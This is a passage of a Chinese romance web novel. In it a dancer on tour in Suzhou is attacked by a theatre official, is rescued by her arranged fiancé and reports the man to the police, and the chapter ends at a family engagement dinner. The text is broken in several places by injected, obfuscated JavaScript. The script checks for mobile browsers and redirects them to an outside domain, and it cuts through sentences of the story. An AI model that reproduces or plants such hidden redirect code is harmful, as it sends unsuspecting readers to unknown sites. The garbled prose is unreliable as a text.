古板直男的思维方式都这样吗,两家婚事成不成还另说呢,他就想到婚后了。 黎晚棠深吸口气,再度申明:“傅砚深,你搞清楚,我们还没结婚。” “嗯,我知道。” “知道你还说这种话!”黎晚棠睇他一眼,又快步转身往停车场方向走。 傅砚深望着女孩急匆匆的背影,似乎能想到她脸上生气时的表情。 或许还跟小时候一样,气极后像炸毛的野猫。 上车后,傅砚深偏头看向望着窗外不说话的女孩,低声询问:“是送你回家,还是出去吃饭?” “回家。” 黎晚棠目光盯着窗外,头也没回。 上次吃饭的情形还历历在目,她可不想数秒吃完一顿饭。 傅砚深点头嗯了声,熟练转动方向盘,平稳驶出停车场。 路上两人都不说话,车厢内沉闷又静谧。 黎晚棠低头漫不经心滑动着手机屏幕,看似认真,却压根看不进任何东西。 这会儿只觉得时间难熬,她想到以后要跟这么个无趣沉闷的人过一辈子,瞬间对生活失去期待。 高峰期路况有点很堵,车辆走走停停,半个小时后,才抵达她家门口。 黎晚棠立马解开安全带,拿上背包迫不及待就要下车:“谢谢啊,你回去开车注意安全。” 一点也没有要邀请他进屋坐坐的意思。 就当她即将推开车门时,傅砚深突然开口:“明天我要出差,这几日就不过来接你了。” 黎晚棠身形顿住,反应过来后眼眸微亮,拉直的嘴角登时扬起,而后故作理解地回头:“没关系啊,你工作要紧嘛,再说我平时也是开车上班的,你真没必浪费时间过来接我。” 如果不是为了遵守昨晚的约定,她也不必勉强自己。 不,应该是不必勉强他们俩。 傅砚深盯着女孩眼底的那抹雀跃,眉心很轻地折了下:“不过,我会在周末前赶回来。” 笑容秒没。 黎晚棠轻眨了下眼睫,暗暗吐嘈这人真不会聊天。 这是在故意提醒她,两家见面的日子快到了。 就算他不在京北,她也不要试图去找别人当挡箭牌。 “哦,那我进去了。”黎晚棠语气蔫蔫地回了句,推门下车,头也不回地往里走。 看着她开门进屋,傅砚深重新驱车离开。 不是回家,而是返回公司继续加班。 _ 这次接送,并没有改变黎晚棠对傅砚深的看法,反而让她更加确信,他们不合适。 只是没等黎晚棠想到推迟两家见面的办法,团长的紧急通知就下来了。 苏州那边的演出出了点问题,有几名演员热感严重,无法参加今晚的表演,团长安排黎晚棠和其他几名同事过去救场,时间很赶,他们当天就要坐飞机前往。 这种事经常发生,身为舞蹈演员早已习惯,她们快速收拾行李,一行人抵达机场。 上飞机后,白露晞戴上护颈,偏头准备眯一会儿。 只是余光瞥见低头看杂志的黎晚棠,她看了眼其他同事,凑到她耳边悄声道:“团长把你跟温若棠都喊上了,看来苏州那边的演出很重要。” 黎晚棠和温若棠虽然不是首席舞者,但在舞团里是很有威望的两名舞蹈演员,很多领舞都是她们俩,所以在他们眼里跟首席差不多。 黎晚棠头也不抬地调侃:“你也在名单内,是不是证明你也很优秀啊。” 白露晞抬手掩嘴偷笑,而后仰头靠着背椅,缓缓闭上眼睛:“当然了,我也不差。” 两个小时后,她们刚下飞机,就有剧院负责人过来接机。 到了演出场地,她们还来不及休息,就开始紧迫地剧目排练,确保今晚演出能顺利完成。 好在都是她们出演过《霓裳夜宴》,大家配合起来还算默契。 两次彩排过后,舞台监督终于比了个OK的手势。 “大家先去吃点东西,演出时间是晚上八点,注意控制好食量。” 苏州好吃的东西不少,但她们没时间出去闲逛,在剧院食堂解决完晚饭,就开始去上妆。 晚上八点,表演正式开始,烛影摇光,沉香环绕。 琵琶声一响,四面鼓点如急雨般坠落,台上众舞者广袖一拂,织棉披帛霎时化作流霞,如千层牡丹花在空中绽放。 黎晚棠作为领舞,纤细的腰肢轻轻后斩,臂间金钏银丝相击,如凤鸣九霄。 其他舞者紧跟着挥舞广袖,仿佛整个舞台都随着他们的呼吸在起伏。 台下观众看得津津有味,目不转睛地盯着,深怕漏掉任何一个动作。 一曲终时,满堂寂静,忽然叮咚一响,恍然惊扰了这一刻的浮生梦幻。 观众反应过来后,热烈掌声四面八方响起,所有舞者走到舞台中央,鞠躬行礼。 起身时,黎晚棠余光不经意扫过前排,正要收回,一道挺拔高大的背影映入眼帘。 很熟悉,虽然两天没少见,但这道背影却跟傅砚深的很像。 察觉大家准备下台,黎晚棠忙收回视线,跟着转身退场。 可能这两天受傅砚深的影响,现在看谁都像他。 回到后台,苏州剧院负责人笑着走了进来:“表演很成功,观众反应很热烈。” “辛苦京北的同事千里迢迢跑过来救场,演出结束后有聚餐,到时候会有人带你们过去,卸好妆,大家可以先休息一会儿。” 白露晞挽住黎晚棠的胳膊,高兴地晃着:“耶,能出去玩喽。” 黎晚棠边拆头饰,边说:“就是所谓的宵夜,这也值得高兴。” “当然,起码能出去了呀。” 白露晞松开她的胳膊,转而坐在旁边的位置,抬手正要拆头饰,忽然想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078791|179342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到什么:“呀,晚晚,她刚刚都忘记给你拍照了,你今天这身装扮特美。” 温若棠恰好从她们身旁经过,闻言垂眸瞥了黎晚棠,接着轻嗤了声,走到另一侧的化妆镜前落坐。 白露晞听到她这声嗤笑,抬眸看了眼温若棠,又立马去看黎晚棠,低声安慰:“晚晚别在意,她是嫉妒你长得美。” 黎晚棠根本没在意,但这会儿听到白露晞的安慰,忽地弯唇乐了:“嗯,我也觉得。” 她们聊天的声音不小,温若棠拆头饰的指尖收紧,对于今天的安排她本就不满,凭什么领舞的人是她黎晚棠,而不是自己。 可她们是过来帮忙的,她只能听从安排,默默把不满压在心底。 全场演出结束,她们抵达聚餐现场,高端奢华的酒店大厅,放眼望去全是剧院人员和领导。 菜品丰富,含有高质量的蛋白海鲜占了一大半。 黎晚棠吃得不多,随便吃了几口就放下筷子。 恰好这时有领导过来讲话,顺带表扬她们今晚的演出。 “今晚必须要谢谢咱们京北过来救场的同事,演出还有两天才能结束,接下来还需要辛苦各位了。” 说话的是一位微胖的中年男人,听大家喊他钱副院长。 钱学森笑着询问:“今晚的领舞是哪位?” 温若棠去洗手间的时候,就听人议论过,这位钱副院长私下好色,好几个舞者都被他占过便宜,碍于他的身份,这些事没人敢去说。 现在听到这话,她立马抬手指向对面的黎晚棠:“钱副院长,是她,黎晚棠。” 钱学森顺势看去,等看清黎晚棠那张漂亮脸蛋时,嘴角笑意渐浓:“台上妆容大家都一样,原来卸妆后,领舞竟是位大美女。” “你叫黎晚棠是吧,跟我出来一趟,明晚的演出我需要跟你说一下情况。” 黎晚棠不清楚这边剧院的流程,但演出前被团长叫去嘱咐细节,这种情况正常。 唯一不正常的,是温若棠这番举动。 见钱学森已经转身往外走,黎晚棠这才起身跟上。 昏暗的走廊尽头,经过的人寥寥无几。 “钱副院长,对于明晚的表演你有什么想嘱咐的。”黎晚棠在离开他半米远的距离停下,语气客套。 钱学森目光从她脸上扫过,而后落在她凹凸有致的身材上,他轻扯嘴角,慢慢朝她靠近:“你们今晚的表演我看了,难怪你会成为她们的领舞,无论是长相还是舞蹈动作,都很非常出色。” 黎晚棠对于这样的眼神不陌生,身旁常有不怀好意的人,打着追她的幌子,行不轨之事。 而眼前这位,估计叫她出来的目的并不单纯。 这时,她忽然明白温若棠的那番举动。 黎晚棠不动声色地往后退了几步,语气仍旧客气:“钱副院长,如果您没有重要的事要说,那我就先回去了。” 说着,她越过钱学森就要离开,手腕却在这时被他拽住:“小棠,着什么急啊,我的话还没说完呢。” 男人力气很大,捏住她的手腕无法动弹。 黎晚棠偏头冷眼看他,撕破最基本的礼貌:“钱副院长,请你放手!” 钱学森见过她这样傲气的小姑娘,可到最后不还是乖乖听话了,所以对于她这样的反抗,他根本不在意。 “小棠,想不想在事业上取得更好的成就?” 钱学森一点点俯身靠近,眯眼去闻黎晚棠脖颈间的香味,猥琐的行为变得肆无忌惮:“只要乖乖听话,我可以帮你。” 男人的靠近让她觉得恶心,黎晚棠用力挣扎,偏头使劲往后靠:“钱副院长要想出名,我现在倒是可以帮你实现。” 钱学森看出她的意图,就在她张口要喊人时,他急忙捂住她的嘴,趁机把人拖进隔壁包间。 黎晚棠眼眸忽睁,没想到光天化日下,他就敢乱来。 惊慌下,她手脚并用地挣扎起来,想使劲推开他,可男女力量悬殊较大,她的反抗没起一点作用。 这会儿走廊上看不到一个人,他应该是抓住这个时间点,才敢如此放肆。 黎晚棠心底的恐慌逐渐冒出,身体控制不住地颤抖起来,眼前未知的黑暗将她覆盖,心里的恐惧越来越强。 以为今晚要栽在这里的时候,忽然有道的高大身影闪现在她眼前,男人不由分说地抓住钱副团长的手臂,不留情地用力往外掰。 下一秒,喊叫声四起。 腕间的束缚得到缓解,黎晚棠下意识往后退,直到有灯光照耀在她身上,才慢慢停下。 此时,男人侧身挡在她面前,抬手将她护在身后。 黎晚棠愣怔抬眸,这才看清,这道背影是傅砚深。 傅砚深见萧仲把人摁在地上,急忙转过身,漆黑的眸子在黎晚棠身上打量,脸上是从未有过的急切。 “有没有受伤?” 7. 第 7 章 对于傅砚深的突然出现,黎晚棠还是有点恍惚。 让她不禁怀疑,在台下看到的人是他。 可下一秒,她又及时否认。 就傅砚深把时间看得跟生命一样重要,哪有闲情逸致去看歌舞表演。 傅砚深见她愣住不说话,再次询问:“如果有事,我们现在就去医院。” 见他真要带自己去医院,黎晚棠忙摇头:“没事,就是有点意外,你怎么会出现在这里。” 傅砚深乌沉沉地黑眸盯着她:“有跟你说过,我出差。” “哦,那还挺巧,我们出差的地方竟是同一个城市。” 黎晚棠此刻脑子还嗡嗡的,对这会儿发生的事情还没反应过来,明显看出是在胡乱接话。 但她是那颗不安的心,却因为他的出现,莫名得到了依赖。 然而这时,耳边传来钱学森撕心裂肺地喊叫声,将她跑远的思绪猛然拉回。 黎晚棠眼神冰冷地死死盯着他,如果没有傅砚深的及时相救,她不敢去想,刚刚真要被他拖进这个房间,她有没有自保的能力。 答案显然不会。 她这点力气根本反抗不过他。 傅砚深顺着黎晚棠的目光偏头,漆黑的眸子没什么温度的落在男人身上,片刻,他又偏头问她:“这事闹大对你有没有影响?” 黎晚棠一怔,随即明白过来他这话的意思,如果这件事捅破,她在舞团的发展及名誉有没有影响。 还有这次在苏州的演出。 她没犹豫,直接道:“犯错的人是他,我为何要在意别人怎么看。” 不分是非的人肯定有,私下议论的声音也少不了,但她不能因为那些声音,就把这事给忍下来。 这样只会助长他这种败类的志气,在她这里不成功,下次还会祸害别的女孩。 傅砚深见她语气坚定,也没什么顾虑:“那这件事你想怎么解决。” 黎晚棠毫不犹豫:“报警。” 钱学森听到报警,立马挣扎起来:“我没做伤害你的事吧,你们至于要闹到警局!” 这事闹大对他的工作肯定会有影响,要是牵扯舆论,没准他工作就没了。 他态度三百六十度转好:“小棠,我们有话好好说,刚才的事我向你道歉,再说你也没受到什么实质性的伤害,我其实也没想把你怎么着,反而这事要让大家知道了,他们只会认为你想往上爬,故意勾引的我,真传出去对你的名声不好。” “呵,我这辈子就没见过你这么下流无耻的男人。” 黎晚棠被他这话气笑,抬头去看傅砚深,语气更加坚定:“报警吧,要警察过来处理。” 从钱学森刚才那番话以及的行为来分析,他平时应该做过类似的事,只是受害者为了所谓的名声,选择忍了下来。 如果她放过他,这样的事情肯定还会发生。 傅砚深偏头去看萧仲:“立刻报警,顺便把这层的监控视频找出来。” 钱学森见他们来真的,怒气看向黎晚棠:“看来,你是真不顾忌你的前途了?” “在证据面前,自毁前途的那个人是你。” 傅砚深抬步上前,挡住钱学森看向黎晚棠的视线,沉冷的声线,像是法庭上的法官,正严肃且正义的宣布审判结果。 黎晚棠再次抬头看向挡在她身前的男人,高大身躯形成铜墙铁壁,将她护在身后。那张面无表情的脸上多了些别的情绪。 冷峻而又厌恶。 这还是她第一次,在傅砚深脸上看到这样的情绪。 - 从酒店到警局,途中没惊扰任何人,不知是巧合,还是有人故意把这事掩盖。 对面警察的询问,黎晚棠不慌不忙地还原整个过程,加上他们拿过来的那段监控视频,就算钱学森想反驳也没用。 但定罪并不严重。 警察表示,如果他们想以□□未遂来定罪,需要更多有力的证据,毕竟从监控视频来看,他那样的行为还达不到这个标准。 踏出警局大厅,黎晚棠心情仍有些低落,不能定罪,钱学森今晚的行为只能构成性骚扰,最多关押七天。 傅砚深看了眼低头不说话的女孩,轻声开口:“这件事明天会在这边剧院传开,你确定对你的演出没有影响?” 这里不是京北,而是苏州,有些突发意外不可控。 黎晚棠摇头:“这件事我会如实反馈给我们团长,演出会继续进行。” 剧院不会因为一个钱学森就停住演出,而且过错方是他,对于她的演出没任何影响。 顶多回去,她身上会一多些探究的眼神罢了。 两人走到门口,傅砚深看了眼腕表,问:“现在是送你回去?” 话落,黎晚棠忽而抬头,黑亮的眸子盯着男人那张已经恢复平静的脸,一时没开口。 傅砚深似乎看出她的顾虑,直接问:“不想回去?” 黎晚棠缓缓垂眸,而后点头:“不想。” 今天这事她虽然没受到实质性的伤害,却多少在心底留下阴影,何况这里不是京北,这边剧院安排的住宿,她也没去过,陌生的环境让她没有安全感。 或许是害怕,再出现什么意外情况。 她虽然跟傅砚深不熟,但他起码也是在这个陌生的地方,她唯一能相信的人。 说话间,两人来到车旁,傅砚深垂眸看着她,语气淡然:“若不介意,可以跟我住酒店。” 黎晚棠错愕抬头:“要我跟你……住酒店?” 这不合适吧。 “套房,里面不止一间卧室。”傅砚深怕她不习惯,又道:“或者,我重新帮你开一间。” 黎晚棠忙摇头:“不用,就住你开的套房吧。” 别别扭扭也不是她的性格,何况她相信傅砚深的人品,这年头防谁也不会防他。 毕竟快三十岁还是个处男,估计他对那方面早已没了需要,更不会乱来。 萧仲见两人上车,目的地还是同一个地方,心里瞬间冒出巨大八卦。 这女孩跟傅总什么关系? 遇事不惊的傅总,冲动打人的情形他还是第一次见。 萧仲透过后视镜偷瞥了眼黎晚棠的长相,心里瞬间了然。 这么漂亮的姑娘,傅总肯定是在追人家,要不然刚谈完收购案,傅总没着急离开,反而去剧院看表演。 刚开始他不能理解,现在全懂了。 原来只会拼命工作的傅总,居然也有七情六欲。 去往酒店的途中,黎晚棠收到白露晞发来的微信。 白露晞:【晚晚,聚餐都快结束了,你怎么还没回来,没出什么事吧?】 黎晚棠低头回复:【没事,就碰巧遇见了一个朋友。】 白露晞:【我就知道,你是有事才提前离开的,并不像温若棠说的那样。】 黎晚棠抓住她话里的重点,嘴角逐渐抿直:【温若棠都说什么了?】 等了好几秒,白露晞才回复:【就说你跟钱副院长谈得投缘,今晚估计不用等你,你不会回来。】 话都说到这个份上,不回来代表什么,大家心知肚明。 黎晚棠:【嗯,今晚是不回去了,但跟那无关,明天回去我跟你细聊。】 将手机按灭,黎晚棠偏头盯着窗外发呆。 不惹她行,惹了她早晚要还回去,温若棠这仇,她记下了。 傅砚深轻轻侧眸,视线从女孩精致的侧脸划过,落在她微皱的眉眼上。 从上车就闷闷不乐,看来心情一直没有好转。 他收回目光,低头点开微信,发出一条信息。 抵达酒店,黎晚棠跟着傅砚深进入电梯,封闭的空间里,此刻只剩下他们俩人。 她捏了捏指尖,后知后觉地紧张起来。 刚才答应得是不是太爽快了,孤男寡女,加上他们关系还有点特殊,现在就跟着来酒店。 此刻气氛有种说不出的尴尬。 黎晚棠偷瞥了眼,正仰头盯着上升键看的傅砚深。 男人鼻子是真的高挺笔直,下颌线条利落分明,加上身高优势,侧脸被勾勒出极具立体。一尘不染的黑色皮鞋,站姿不管在任何时候都是端端正正,像松树那般挺拔,莫名散发着一身正气。 黎晚棠低头收回视线。 不知为何,先前冒出的那点紧张,竟无端消散了。 ——叮咚。 电梯门缓缓打开,傅砚深立马抬手抵住边缘,侧头示意黎晚棠先出。 接收到他的视线,黎晚棠也不客气,抬脚走了出去。 在他的指引下,两人前后脚来到房间门口。 傅砚深拿出房卡开门,走进去的第一时间,他先是把客厅灯打开,回头见人站在门口不动,声音平淡道:“现在后悔还来得及。” “……” 黎晚棠动了动唇,立马抬脚走了进去:“才没后悔。” 她偏头扫了眼套房内的格局,视线落在右手边的客房上,抬手指了指:“我是住这间吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她盯着眼前这些东西,脑中不合时宜地想到父亲说的那句,傅砚深很会照顾人。 所以这些都是他让助理去买的? 黎晚棠轻轻咬唇,如果撇掉爱情,他们真要这般过一辈子,好像也不是那么难熬。 只是这个想法刚冒出,她急忙摇头甩掉。 她是疯了吗? 仅凭这样就放弃原则,难道忘了傅砚深古板无趣的性格了! 没让自己瞎想下去,黎晚棠拿着购物袋就往浴室走去。 准备洗澡睡觉,尽可能地忘掉今晚的不愉快。 - 次日,生物钟让她五点半准时醒了过来。 朦胧的眼睛盯着陌生的环境发了会儿呆,猛然想起这是苏州酒店,并不是在京北。 黎晚棠偏头看了眼窗外,厚重的窗帘透出淡淡的白光,想到这里没有舞蹈房,她也没着急起床,平躺在床上做了组简单的拉伸动作。 十几分后,她掀开被子下床,右腿搭在床尾,侧腰往下压。 全身韧带拉开,已是半个小时后。 转身进入洗手间简单的洗完漱,黎晚棠轻轻拉开房门,探出脑袋先往外面看了一圈。 此刻,客厅静悄悄地没任何动静,心想傅砚深应该是还没起床。 她昨晚洗完澡就叫了客房服务,酒店工作人员说,今早会把她烘干的衣服送过来。 黎晚棠低头看了眼没穿内衣的睡裙,房门一点点拉开,她轻手轻脚地越过客厅。 果然在玄关处看到了,标有酒店logo的包装袋。 应该是她的衣服。 黎晚棠上前查看,确认是自己的衣服后,拿着袋子就要转身,只是在回头的那一刻,正好撞见从卧室出来的傅砚深。 男人着装整齐,纯白色的衬衣下摆利落扎紧西裤里,领口依旧是一丝不苟系到顶端,那两条大长腿格外引人注目。 傅砚深抬头,两人目光对上。 黎晚棠有些诧异他起床的时间,这会儿也才六点多,没想到他会起那么早。 刚想客气地打声招呼,就在她抬手的那一刻,空荡荡的衣领,让她猛然想起自己没穿内衣。 霎时间,她倏地转过身,红着脸开口:“傅砚深,你现在,立马返回房间!” 8. 第 8 章 傅砚深眉头微皱,一时没看懂她的慌张行为。 直到目光落在她身上的睡衣,联想她背身对着自己的背影,猛然反应过来。 傅砚深立马垂眸,脚跟又往后退了几步,关上房门的同时,出声提醒:“若方便了,麻烦告诉我一声。” 刻意把房门关出声响,只想让她知道,他已经回房了。 客厅安静了好几秒,黎晚棠侧头瞥了眼,而后飞快地跑回房间。 房门关上,心脏还扑通扑通跳个不停。 这或许是两人重遇以来,最尴尬最社死的情形。 她这套睡衣其实很保守,只是自己胸前的弧度太过明显。 特别是那两点…… 不过从傅砚深的反应来看,应该是啥也没看着。 黎晚棠一刻也没耽误,快速换好自己的衣服,转身时稍稍把房间整理了下,再次推开房门,见傅砚深主卧的门紧闭,小跑着冲了出去。 直到进入电梯,她才拿出手机给傅砚深发信息。 黎晚棠:【我先回剧院了,你请自便。】 对方回了个标志性地好。 黎晚棠按灭手机,身体倚着电梯壁,仰头轻舒了口气。 目光无神地盯着跳动的红色箭头,不禁暗暗感慨。 才几天时间,她竟能和平共处跟傅砚深同住一间套房。 生活真的太戏剧性了。 黎晚棠打车来到剧院,白露晞她们已经在排练厅晨练了。 众人看到她出现,纷纷扭头看了过来。 钱学森被拘留的事应该还没传过来,因此不少人看她的目光都带着几丝意味深长。 黎晚棠不在意地继续往里走,对上温若棠转过来的脸,她轻扯嘴角朝她笑了下。 见温若棠茫然地皱起眉,笑意越发浓烈。 “晚晚,你回来啦!” 白露晞急忙把右腿从把干上拿下来,立马转身跑到黎晚棠身旁,小声道:“大家知道你一晚未归,私下说什么都有。” “嘴长在她们身上,让她们说去。” 黎晚棠弯腰拿过肌效贴,坐在地板上对着镜子往脚踝处贴,透过镜面看到身后脸色沉重的白露晞,她忽而笑了:“别不高兴,留着好心情,晚点看她们打脸。” 白露晞眼眸微睁,好奇地欲望瞬间冒了出来:“晚晚,你是准备要反击吗?” 黎晚棠觉得好笑,贴好肌效贴,站起身:“和平社会,不搞打打杀杀那套,俗。” 白露晞没听懂她这话的意思,拧眉问:“那就啥也不管,任由她们议论。” “嗯,不用管。”黎晚棠朝她眨眨眼,转身开始去晨练。 白露晞不解挠头,觉得黎晚棠肯定是做有准备了,才如此淡定。 嗯,她应该耐心等等。 可排练结束,也没看到黎晚棠有什么行动。 直到中午,她们去剧院食堂吃饭,耳边陆陆续续涌进一些窃窃私语的讨论声。 “都听说了吗,钱副院长被拘留了,老院长得知这个消息都气坏了。” “啊,钱学森因为什么被拘留?” “京北领舞的那个黎晚棠都见过吧,长得贼漂亮,身材又好,估计钱学森看上人家了,想占便宜没占成,反被人家报警,以性骚扰给告了。” “我去!她真是勇者,咱们剧院也有女同事被他占过便宜吧,可没有一个敢站出来告他,现在来了这么一个狠角色,真解气!” “可不么,我听到这个好消息,差点没原地蹦起来,看吧,现在终于有人治他了。” 白露晞听到她们的谈话,立马偏头去看身旁的人,脸上没有解气的高兴,只有愤怒:“晚晚,昨晚钱学森欺负你了?” 她声音不小,原本还在说话的人,纷纷抬头看了过来。 “……” 黎晚棠弯唇笑了笑,忙抓着白露晞去前面打菜:“没有,他还没得逞,就被人揍了。” 傅砚深掰他手臂的时候,钱学森的喊叫声不小,事后在警局看到他胳膊上的淤青,估计傅砚深当时是用了全力。 所以这跟揍他一顿没什么区别。 “活该!这样的人也能当副院长,他到底是靠什么关系上来的!” 白露晞捏紧餐盘,愤愤不平道:“关他几天真是便宜他了!” 闻言,黎晚棠表情也冷了下来,奈何没有更有力的证据,这样的结果确实是便宜他了。 刚吃过午饭,她被老院长叫去了办公室。 或许老院长接到了苏清的电话,看到她一个劲说抱歉。 “晚棠,这事是我们的疏忽,钱学森这人平时有点爱动手动脚,之前也有同事反馈过,我当时警告过他,以为他就此改过,没想到他把心思打你身上了。” “这事你放心,剧院肯定会严惩他的行为,给你和大家一个交代。” 黎晚棠默默点头没吱声,她是过来帮忙的,对这边的人和事不了解,更不清楚他们领导和同事之间的关系。 她深怕自己说太多,引来不必要的麻烦。 还有两天她们就能回京北,没办法改变的事,她尽量不去较真。 十几分钟后,黎晚棠从老院长办公室出来,转身还没走两步,就看见在走廊上,有个女孩静静地看着她。 这人她不认识,却能看出她是这个剧院的舞蹈演员。 “你是在等我吗?”黎晚棠走上前,弯唇询问。 女孩怯生生地看她一眼后,快速垂下头:“我就是想过来看看,敢把钱学森送去警局的女孩长什么样。” 黎晚棠忽而笑道:“正常人,没有三头六臂。” 有些意外她会这么说,女孩抬头看向黎晚棠,嘴角笑意逐渐绽放:“不过,你很勇敢。” 黎晚棠微挑了下眉尾,目测眼前的女孩年龄不大,应该是刚从舞蹈学校毕业出来,就被剧院特招了。 不过从她对钱学森的称呼来分析,若她没猜错,她应该也被钱学森欺负过。 伤害性比她大。 “你经历过我同样的事?”黎晚棠目光紧盯着她,没错过她脸闪过的那抹慌乱。 女孩嘴角微收,沉默了好一会儿,才点头:“嗯,但我没有你勇敢,我害怕大家私下对我的议论,更怕毁掉我还没开始的舞蹈生涯。” 黎晚棠轻眨眼睫,似乎也能理解她所谓的害怕,如果昨晚没有傅砚深的及时出现,没有父母做她的后盾,她或许也会考虑这些因素,选择和解了事。 但她还是想劝劝她:“如果你有证明钱学森欺负你的证据,或许以后都不用担惊害怕,更不用受他的牵制。” 这个社会不仅有欺软怕硬的人,也有得寸进尺的无赖。 钱学森就是。 女孩惊慌摇头:“不,他有很硬的人际关系,而我就是普通家庭里的孩子,我现在能做的,就是离他远点。” 说完,她又笑了:“还是要谢谢你,我先回去了。” 黎晚棠见女孩转身离开,沉默的看着她,没再开口挽留,每个人都有自己的选择,她也不喜欢强求。 晚上的演出还是一如既往地精彩,她们站在台上能听到满堂的喝彩声。 回到后台,她刚卸完妆,就收到傅砚深发来的微信:【今晚,你还过来住吗?】 黎晚棠看着这条信息,指尖下意识抖了下,早上压下去的画面又在脑海里浮现。 最近几日,他们还是别见面为好。 黎晚棠:【不了,将就一晚,明晚演出结束,我们就返回京北。】 傅砚深:【好。】 萧仲拿着资料站在书房门口,见傅总低头盯着手机出神,抬手轻敲了敲房门:“傅总,收购锐星的后续手续全部完成,您看我们什么时候回京北?” 傅砚深放下手机,扭头看他:“订今晚的机票。” “……” 萧仲愣了下,试着问:“那黎小姐呢?” “如果我没记错,你现在是我助理。” 傅砚深声音平淡,口吻像在叙述一件?很稀松平常的事。 萧仲却听出其中含义,傅砚深是在警告他管得太宽了:“傅总,我这就去订机票。” 放下手里的资料,萧仲立马转身出门,消失在书房。 傅砚深收回思绪,拿起桌上资料,又投入工作中。 - 三天的演出结束,黎晚棠她们坐当天夜里十点的飞机,返回京北。 抵达时已是深夜一点,沈听荷亲自开车过来接她。 “你在苏州发生的事,你们苏团长都跟我说了。” 刚上车,沈听荷就说了这事。 黎晚棠系安全带的手顿住,扭头在母亲脸上打量了几秒,低声问:“沈老师,你是觉得我做错了吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078793|179342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 沈听荷被她这话气笑:“你保护了自己,有什么错。” 她当时得知这个消息,急得立马就要飞过去看看情况,身为母亲既生气又担心,气她冲动不想后果,担心她真出事会怎么办。 最后是傅砚深给她打电话,说他正好在苏州出差,事发当晚他也在场,他们还一起去了警局。 得知有傅砚深在,她那颗不安的心,才落定下来。 事情的处理结果,傅砚深详细告知,让她清楚的知道,原来她女儿是那么勇敢。 黎晚棠低头继续系上安全带,咧嘴笑道:“还以为你是过来骂我的。” 沈听荷偏头看她,语气无奈又好笑:“把妈妈想成什么了,恶毒的皇后?” “难道不是?”黎晚棠闭眼靠着椅背,嘴角含笑:“你小时候帮我压腿,可比皇后恶毒多了。” 回想黎晚棠小时候喊疼大哭的画面,沈听荷没忍住笑道:“不狠点,你能有今天的成就。” “嗯,这点我不否认。”黎晚棠浅浅弯唇。 母女俩一路斗嘴到家,沈听荷帮她拿行李进屋,在二楼分开时,她低声叮嘱:“明天是两家见面的日子,你不用早起,好好睡一觉,吃饭的时间安排在了晚上。” 黎晚棠困得睁不开的眼睛,忽而睁大:“妈,你们就不能让我喘口气,我才刚回来。” 有些事逃避不了,她也只能面对。 “日子是早定好的,又不是我们临时决定。”沈听荷扶着她的肩膀转身:“快,回去睡觉。” 黎晚棠被困意打败,这一觉直接睡到次日中午。 下楼才发现,家里安安静静,她爸妈竟然都不在家。 韩姨把饭菜端上桌,说沈老师去美容院,黎总早早就去了公司。 黎晚棠低头吃着饭菜,觉得沈老师重视过头了,两家又不是第一次见面,她搞那么隆重干嘛。 殊不知,晚上连她出门穿的衣服,都被母亲早早安排上。 “你就穿这条裙子,颜色衬你还显得斯文。” 黎晚棠挑眉看她:“妈,我在你眼里很粗鲁吗?” “不粗鲁,?但也不是斯文乖巧的,倒像个小狐狸。” 说完,沈听荷回头去喊黎智海:“老黎,好了没有,你再墨迹下去时间就来不及了。” “好了好了。”黎智海急忙从房间出来。 黎晚棠瞧见他爸那身西装马甲三件套装,噗嗤笑了起来:“爸,这天气你这么穿不热?” “不热,包厢里不是有空调么。”黎智海抬手整了整衣领:“这样不仅正式,还显得尊重。” “就两家人见面吃个饭,你们穿得像订婚似的。”黎晚棠嘀咕。 “……” 黎智海和沈听荷心虚对视一眼,默默闭嘴不说话了。 当他们一家三口抵达酒店,傅家人已经到了。 除了在国外上大学的傅望舒,傅家人都来了。 两家人见面,少不了要互相寒暄一番,黎晚棠这会儿也很懂事,每个人都喊了一遍,声音甜美且乖巧。 直到目光对上刚进来的傅砚深,她嘴上的笑容微僵。 那天过后,两人就再没见过。 尴尬是减轻了,但还是有点说不出的不自在。 宋徽音见自家儿子闷不吭声?的那样,急得不行:“砚深,还愣着干嘛,赶紧入座吧,你就坐棠棠身旁,方便给棠棠夹菜。” 傅砚深垂眸看了眼黎晚棠,拉开她身旁的椅子落坐,轻声问:“昨晚几点到的?” 黎晚棠扯唇:“一点。” 话题结束,包厢内只有长辈聊天的声音。 “棠棠,过奶奶这来。” 突然被傅奶奶点名,黎晚棠喝茶的手顿住,见大家都盯着自己,她笑着放下杯子,起身走了过去:“傅奶奶,怎么了?” 傅老太太笑着拿出一个檀木盒,打开后取出里面的玉镯,亲自帮黎晚棠戴上:“这只镯子是奶奶结婚时带过来的嫁妆,今儿正式传到你手里。” 得知玉镯的来历,黎晚棠可不敢要:“傅奶奶,这太贵重了,我不能收。” 见黎晚棠准备取下来,傅老太太忙握住她的手,笑道:“不贵,这是奶奶给你和砚深的订婚礼物,必须要收。” 订婚? 黎晚棠眼眸忽睁,极其震惊地扭头去看傅砚深。 9. 第 9 章 